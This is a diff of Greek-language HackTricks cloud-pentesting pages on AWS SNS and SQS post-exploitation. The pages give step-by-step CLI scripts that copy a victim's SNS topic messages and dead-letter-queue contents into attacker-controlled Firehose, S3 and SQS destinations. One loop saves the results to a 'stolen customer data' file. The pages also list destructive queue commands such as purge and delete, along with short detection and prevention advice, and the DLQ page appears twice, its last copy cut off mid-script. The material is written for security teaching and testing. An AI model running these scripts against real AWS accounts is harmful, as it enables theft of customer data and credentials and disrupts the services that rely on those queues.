SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
|
||||
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/allow-firehose.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
|
||||
|
||||
SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
|
||||
|
||||
# 3) Subscribe Firehose to the victim topic
|
||||
TOPIC_ARN=<VICTIM_TOPIC_ARN>
|
||||
aws sns subscribe \
|
||||
--topic-arn "$TOPIC_ARN" \
|
||||
--protocol firehose \
|
||||
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
|
||||
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
|
||||
--region $REGION
|
||||
|
||||
# 4) Publish test message and confirm arrival in S3
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
|
||||
sleep 90
|
||||
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
|
||||
```
|
||||
## Καθαρισμός
|
||||
- Διαγράψτε τη συνδρομή SNS, το Firehose delivery stream, τους προσωρινούς IAM ρόλους/πολιτικές και το attacker S3 bucket.
|
||||
|
||||
## Επιπτώσεις
|
||||
**Πιθανή Επίπτωση**: Συνεχής, μόνιμη exfiltration κάθε μηνύματος που δημοσιεύεται στο στοχευμένο SNS topic σε attacker-controlled storage με ελάχιστο λειτουργικό αποτύπωμα.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+150
@@ -0,0 +1,150 @@
|
||||
# AWS – SQS DLQ Redrive Εξαγωγή μέσω StartMessageMoveTask
|
||||
|
||||
## Περιγραφή
|
||||
|
||||
Καταχράσου τα tasks μετακίνησης μηνυμάτων του SQS για να κλέψεις όλα τα συσσωρευμένα μηνύματα από την Dead-Letter Queue (DLQ) του θύματος αναδρομολογώντας τα σε μια ουρά υπό έλεγχο του επιτιθέμενου χρησιμοποιώντας `sqs:StartMessageMoveTask`. Αυτή η τεχνική εκμεταλλεύεται τη νόμιμη λειτουργία ανάκτησης μηνυμάτων του AWS για να εξαγάγει ευαίσθητα δεδομένα που έχουν συσσωρευτεί σε DLQs με την πάροδο του χρόνου.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Μια Dead-Letter Queue είναι μια ειδική ουρά SQS όπου στέλνονται αυτόματα τα μηνύματα όταν αποτυγχάνουν να επεξεργαστούν επιτυχώς από την κύρια εφαρμογή. Αυτά τα αποτυχημένα μηνύματα συχνά περιέχουν:
|
||||
- Ευαίσθητα δεδομένα εφαρμογής που δεν μπόρεσαν να επεξεργαστούν
|
||||
- Λεπτομέρειες σφαλμάτων και πληροφορίες debugging
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credentials ή άλλα μυστικά
|
||||
- Επιχειρησιακά κρίσιμα δεδομένα συναλλαγών
|
||||
|
||||
Οι DLQs λειτουργούν ως «νεκροταφείο» για αποτυχημένα μηνύματα, καθιστώντας τις πολύτιμους στόχους αφού συσσωρεύουν ευαίσθητα δεδομένα με την πάροδο του χρόνου που οι εφαρμογές δεν μπόρεσαν να χειριστούν σωστά.
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**Πραγματικό παράδειγμα:**
|
||||
1. **E-commerce application** επεξεργάζεται παραγγελίες πελατών μέσω SQS
|
||||
2. **Κάποιες παραγγελίες αποτυγχάνουν** (προβλήματα πληρωμών, θέματα αποθέματος κ.λπ.) και μετακινούνται σε DLQ
|
||||
3. **Η DLQ συσσωρεύει** εβδομάδες/μήνες αποτυχημένων παραγγελιών που περιέχουν δεδομένα πελατών: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Ο επιτιθέμενος αποκτά πρόσβαση** σε AWS credentials με δικαιώματα SQS
|
||||
5. **Ο επιτιθέμενος ανακαλύπτει** ότι η DLQ περιέχει χιλιάδες αποτυχημένες παραγγελίες με ευαίσθητα δεδομένα
|
||||
6. **Αντί να προσπαθήσει να αποκτήσει πρόσβαση σε μεμονωμένα μηνύματα** (αργό και προφανές), ο επιτιθέμενος χρησιμοποιεί `StartMessageMoveTask` για να μεταφέρει μαζικά ΟΛΑ τα μηνύματα στην δική του ουρά
|
||||
7. **Ο επιτιθέμενος εξάγει** όλα τα ιστορικά ευαίσθητα δεδομένα σε μία ενέργεια
|
||||
|
||||
## Requirements
|
||||
- Η source queue πρέπει να είναι διαμορφωμένη ως DLQ (αναφερόμενη από τουλάχιστον μία ουρά RedrivePolicy).
|
||||
- IAM permissions (εκτελείται ως το συμβιβασμένο victim principal):
|
||||
- Στην DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Στην destination queue: δικαίωμα παράδοσης μηνυμάτων (π.χ. policy ουράς που επιτρέπει `sqs:SendMessage` από το victim principal). Για προορισμούς στο ίδιο account αυτό συνήθως επιτρέπεται από προεπιλογή.
|
||||
- Αν είναι ενεργοποιημένο SSE-KMS: στο source CMK `kms:Decrypt`, και στο destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
Εξαγωγή ευαίσθητων payloads που έχουν συσσωρευτεί σε DLQs (αποτυχημένα events, PII, tokens, payloads εφαρμογών) με υψηλή ταχύτητα χρησιμοποιώντας native SQS APIs. Λειτουργεί cross-account εάν το policy της destination queue επιτρέπει `SendMessage` από το victim principal.
|
||||
|
||||
## How to Abuse
|
||||
|
||||
- Εντόπισε το victim DLQ ARN και επιβεβαίωσε ότι αναφέρεται πράγματι ως DLQ από κάποια ουρά (οποιαδήποτε ουρά είναι εντάξει).
|
||||
- Δημιούργησε ή επίλεξε μια ουρά υπό έλεγχο του επιτιθέμενου ως destination και πάρε το ARN της.
|
||||
- Ξεκίνησε ένα message move task από την victim DLQ προς την destination queue σου.
|
||||
- Παρακολούθησε την πρόοδο ή ακύρωσε αν χρειαστεί.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Ένας επιτιθέμενος έχει συμβιβάσει AWS credentials και ανακάλυψε ότι μια e-commerce εφαρμογή χρησιμοποιεί SQS με μια DLQ που περιέχει αποτυχημένες προσπάθειες επεξεργασίας παραγγελιών πελατών.
|
||||
|
||||
1) **Ανίχνευση και εξέταση της victim DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Δημιουργήστε attacker-controlled destination queue**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Εκτέλεση της μαζικής κλοπής μηνυμάτων**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Συλλογή των κλεμμένων ευαίσθητων δεδομένων**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Σημειώσεις μεταξύ λογαριασμών
|
||||
- Η ουρά προορισμού πρέπει να έχει resource policy που επιτρέπει στον principal του θύματος να `sqs:SendMessage` (και, αν χρησιμοποιούνται, KMS grants/permissions).
|
||||
|
||||
## Γιατί αυτή η επίθεση είναι αποτελεσματική
|
||||
|
||||
1. **Νόμιμη λειτουργία του AWS**: Χρησιμοποιεί ενσωματωμένη λειτουργικότητα του AWS, καθιστώντας δύσκολη την ανίχνευση ως κακόβουλη
|
||||
2. **Μαζική λειτουργία**: Μεταφέρει χιλιάδες μηνύματα γρήγορα αντί για αργή μεμονωμένη πρόσβαση
|
||||
3. **Ιστορικά δεδομένα**: Οι DLQs συσσωρεύουν ευαίσθητα δεδομένα για εβδομάδες/μήνες
|
||||
4. **Κάτω από το ραντάρ**: Πολλές οργανώσεις δεν παρακολουθούν στενά την πρόσβαση σε DLQ
|
||||
5. **Cross-Account Capable**: Μπορεί να εξάγει (exfiltrate) σε δικό του AWS account του attacker εάν οι άδειες το επιτρέπουν
|
||||
|
||||
## Ανίχνευση και Πρόληψη
|
||||
|
||||
### Ανίχνευση
|
||||
Παρακολουθήστε το CloudTrail για ύποπτες κλήσεις API `StartMessageMoveTask`:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Πρόληψη
|
||||
1. **Ελάχιστα προνόμια**: Περιορίστε τα δικαιώματα `sqs:StartMessageMoveTask` μόνο σε απαραίτητους ρόλους
|
||||
2. **Παρακολούθηση DLQs**: Ρυθμίστε συναγερμούς CloudWatch για ασυνήθιστη δραστηριότητα σε DLQs
|
||||
3. **Πολιτικές μεταξύ λογαριασμών**: Ελέγξτε προσεκτικά τις πολιτικές ουρών SQS που επιτρέπουν πρόσβαση μεταξύ λογαριασμών
|
||||
4. **Κρυπτογράφηση DLQs**: Χρησιμοποιήστε SSE-KMS με περιορισμένες πολιτικές κλειδιών
|
||||
5. **Τακτικός καθαρισμός**: Μην αφήνετε ευαίσθητα δεδομένα να συσσωρεύονται στα DLQs επ' αόριστον
|
||||
@@ -1,73 +0,0 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στην ουρά SQS, ενδεχομένως προκαλώντας διαφθορά δεδομένων, ενεργοποιώντας μη προγραμματισμένες ενέργειες ή εξαντλώντας πόρους.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Εκμετάλλευση ευπαθειών, Διαφθορά δεδομένων, μη προγραμματισμένες ενέργειες ή εξάντληση πόρων.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να λάβει, να διαγράψει ή να τροποποιήσει την ορατότητα μηνυμάτων σε μια SQS ουρά, προκαλώντας απώλεια μηνυμάτων, διαφθορά δεδομένων ή διακοπή υπηρεσίας για εφαρμογές που βασίζονται σε αυτά τα μηνύματα.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Κλοπή ευαίσθητων πληροφοριών, απώλεια μηνυμάτων, διαφθορά δεδομένων και διακοπή υπηρεσιών για εφαρμογές που βασίζονται στα επηρεαζόμενα μηνύματα.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρη την SQS ουρά, προκαλώντας απώλεια μηνυμάτων και επηρεάζοντας τις εφαρμογές που βασίζονται στην ουρά.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που χρησιμοποιούν την διαγραμμένη ουρά.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να καθαρίσει όλα τα μηνύματα από μια SQS ουρά, οδηγώντας σε απώλεια μηνυμάτων και πιθανή διακοπή εφαρμογών που βασίζονται σε αυτά τα μηνύματα.
|
||||
```arduino
|
||||
Copy codeaws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που βασίζονται στα διαγραμμένα μηνύματα.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τα χαρακτηριστικά μιας SQS ουράς, επηρεάζοντας ενδεχομένως την απόδοσή της, την ασφάλεια ή τη διαθεσιμότητά της.
|
||||
```arduino
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Λάθη στη διαμόρφωση που οδηγούν σε υποβαθμισμένη απόδοση, προβλήματα ασφάλειας ή μειωμένη διαθεσιμότητα.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει ετικέτες από τους πόρους SQS, διαταράσσοντας την κατανομή κόστους της οργάνωσής σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης με βάση τις ετικέτες.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διαταραχή της κατανομής κόστους, παρακολούθησης πόρων και πολιτικών ελέγχου πρόσβασης με βάση τις ετικέτες.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να ανακαλέσει δικαιώματα για νόμιμους χρήστες ή υπηρεσίες αφαιρώντας πολιτικές που σχετίζονται με την SQS ουρά. Αυτό θα μπορούσε να οδηγήσει σε διαταραχές στη φυσιολογική λειτουργία εφαρμογών που βασίζονται στην ουρά.
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διακοπή της κανονικής λειτουργίας για εφαρμογές που βασίζονται στην ουρά λόγω μη εξουσιοδοτημένης αφαίρεσης δικαιωμάτων.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Για περισσότερες πληροφορίες, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στην SQS ουρά, ενδεχομένως προκαλώντας καταστροφή δεδομένων, ενεργοποιώντας ανεπιθύμητες ενέργειες ή εξαντλώντας πόρους.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Εκμετάλλευση ευπαθειών, διαφθορά δεδομένων, μη επιθυμητές ενέργειες ή εξάντληση πόρων.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να λάβει, να διαγράψει ή να τροποποιήσει την ορατότητα των μηνυμάτων σε μια SQS queue, προκαλώντας απώλεια μηνυμάτων, διαφθορά δεδομένων ή διαταραχή υπηρεσίας για εφαρμογές που εξαρτώνται από αυτά τα μηνύματα.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Potential Impact**: Κλοπή ευαίσθητων πληροφοριών, απώλεια μηνυμάτων, διαφθορά δεδομένων και διακοπή υπηρεσίας για εφαρμογές που βασίζονται στα επηρεαζόμενα μηνύματα.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρη μια ουρά SQS, προκαλώντας απώλεια μηνυμάτων και επηρεάζοντας τις εφαρμογές που βασίζονται σε αυτήν.
|
||||
```bash
|
||||
aws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Potential Impact**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που χρησιμοποιούν την διαγραμμένη ουρά.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να εκκαθαρίσει όλα τα μηνύματα από μια SQS ουρά, οδηγώντας σε απώλεια μηνυμάτων και πιθανή διακοπή λειτουργίας των εφαρμογών που εξαρτώνται από αυτά τα μηνύματα.
|
||||
```bash
|
||||
aws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που βασίζονται στα διαγραμμένα μηνύματα.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τα χαρακτηριστικά μιας ουράς SQS, ενδεχομένως επηρεάζοντας την απόδοσή της, την ασφάλεια ή τη διαθεσιμότητά της.
|
||||
```bash
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Λανθασμένες διαμορφώσεις που οδηγούν σε υποβαθμισμένη απόδοση, προβλήματα ασφάλειας ή μειωμένη διαθεσιμότητα.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει tags από πόρους SQS, διαταράσσοντας την κατανομή κόστους του οργανισμού σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης που βασίζονται σε tags.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Potential Impact**: Διαταραχή στην κατανομή κόστους, στην παρακολούθηση πόρων και στις πολιτικές ελέγχου πρόσβασης βάσει tags.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να ανακαλέσει δικαιώματα νόμιμων χρηστών ή υπηρεσιών αφαιρώντας πολιτικές που σχετίζονται με την SQS queue. Αυτό μπορεί να οδηγήσει σε διακοπές στη φυσιολογική λειτουργία εφαρμογών που εξαρτώνται από την ουρά.
|
||||
```bash
|
||||
aws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Πιθανός αντίκτυπος**: Διατάραξη της κανονικής λειτουργίας των εφαρμογών που εξαρτώνται από την ουρά λόγω μη εξουσιοδοτημένης αφαίρεσης δικαιωμάτων.
|
||||
|
||||
### Περισσότερες SQS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-redrive-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-sns-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+154
@@ -0,0 +1,154 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
|
||||
Κακοποίηση των SQS message move tasks για να κλαπούν όλα τα συσσωρευμένα μηνύματα από το Dead-Letter Queue (DLQ) ενός θύματος αναδρομολογώντας τα σε ουρά ελεγχόμενη από τον επιτιθέμενο χρησιμοποιώντας `sqs:StartMessageMoveTask`. Αυτή η τεχνική εκμεταλλεύεται το νόμιμο χαρακτηριστικό ανάκτησης μηνυμάτων του AWS για να εξάγει ευαίσθητα δεδομένα που έχουν συσσωρευτεί σε DLQs με την πάροδο του χρόνου.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Μια Dead-Letter Queue είναι μια ειδική SQS ουρά όπου τα μηνύματα αποστέλλονται αυτόματα όταν δεν επεξεργάζονται επιτυχώς από την κύρια εφαρμογή. Αυτά τα αποτυχημένα μηνύματα συχνά περιέχουν:
|
||||
- Ευαίσθητα δεδομένα εφαρμογής που δεν μπορούσαν να επεξεργαστούν
|
||||
- Λεπτομέρειες σφαλμάτων και πληροφορίες debugging
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credentials, ή άλλα secrets
|
||||
- Επιχειρηματικά κρίσιμα δεδομένα συναλλαγών
|
||||
|
||||
Οι DLQs λειτουργούν ως "νεκροταφείο" για αποτυχημένα μηνύματα, καθιστώντας τα πολύτιμους στόχους αφού συσσωρεύουν ευαίσθητα δεδομένα με την πάροδο του χρόνου που οι εφαρμογές δεν μπόρεσαν να διαχειριστούν σωστά.
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** επεξεργάζεται παραγγελίες πελατών μέσω SQS
|
||||
2. **Some orders fail** (προβλήματα πληρωμής, αποθέματος, κ.λπ.) και μεταφέρονται σε ένα DLQ
|
||||
3. **DLQ accumulates** εβδομάδες/μήνες αποτυχημένων παραγγελιών που περιέχουν δεδομένα πελατών: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
|
||||
4. **Attacker gains access** σε AWS credentials με δικαιώματα SQS
|
||||
5. **Attacker discovers** ότι το DLQ περιέχει χιλιάδες αποτυχημένες παραγγελίες με ευαίσθητα δεδομένα
|
||||
6. **Instead of trying to access individual messages** (αργό και προφανές), ο επιτιθέμενος χρησιμοποιεί `StartMessageMoveTask` για μαζική μεταφορά ΟΛΩΝ των μηνυμάτων στην δική του ουρά
|
||||
7. **Attacker extracts** όλα τα ιστορικά ευαίσθητα δεδομένα με μία ενέργεια
|
||||
|
||||
## Requirements
|
||||
- Η source queue πρέπει να έχει ρυθμιστεί ως DLQ (referenced by at least one queue RedrivePolicy).
|
||||
- IAM permissions (τρέχοντας ως ο συμβιβασμένος victim principal):
|
||||
- Στο DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Στην destination queue: δικαίωμα παράδοσης μηνυμάτων (π.χ. queue policy που επιτρέπει `sqs:SendMessage` από τον victim principal). Για προορισμούς στο ίδιο account αυτό συνήθως επιτρέπεται από προεπιλογή.
|
||||
- Αν είναι ενεργοποιημένο το SSE-KMS: στο source CMK `kms:Decrypt`, και στο destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
**Potential Impact**: Εξαγωγή ευαίσθητων payloads που έχουν συσσωρευτεί σε DLQs (αποτυχημένα events, PII, tokens, application payloads) με υψηλή ταχύτητα χρησιμοποιώντας τις εγγενείς SQS APIs. Λειτουργεί cross-account εάν η destination queue policy επιτρέπει `SendMessage` από τον victim principal.
|
||||
|
||||
## How to Abuse
|
||||
|
||||
- Εντοπίστε το victim DLQ ARN και βεβαιωθείτε ότι αυτό αναφέρεται πραγματικά ως DLQ από κάποια ουρά (οποιαδήποτε ουρά είναι αποδεκτή).
|
||||
- Δημιουργήστε ή επιλέξτε μια attacker-controlled destination queue και πάρτε το ARN της.
|
||||
- Ξεκινήστε ένα message move task από το victim DLQ προς την destination queue σας.
|
||||
- Παρακολουθήστε την πρόοδο ή ακυρώστε αν χρειαστεί.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Ένας επιτιθέμενος έχει παραβιάσει AWS credentials και ανακάλυψε ότι μια e-commerce εφαρμογή χρησιμοποιεί SQS με ένα DLQ που περιέχει αποτυχημένες προσπάθειες επεξεργασίας παραγγελιών πελατών.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Δημιουργήστε attacker-controlled ουρά προορισμού**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Εκτέλεσε την μαζική κλοπή μηνυμάτων**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
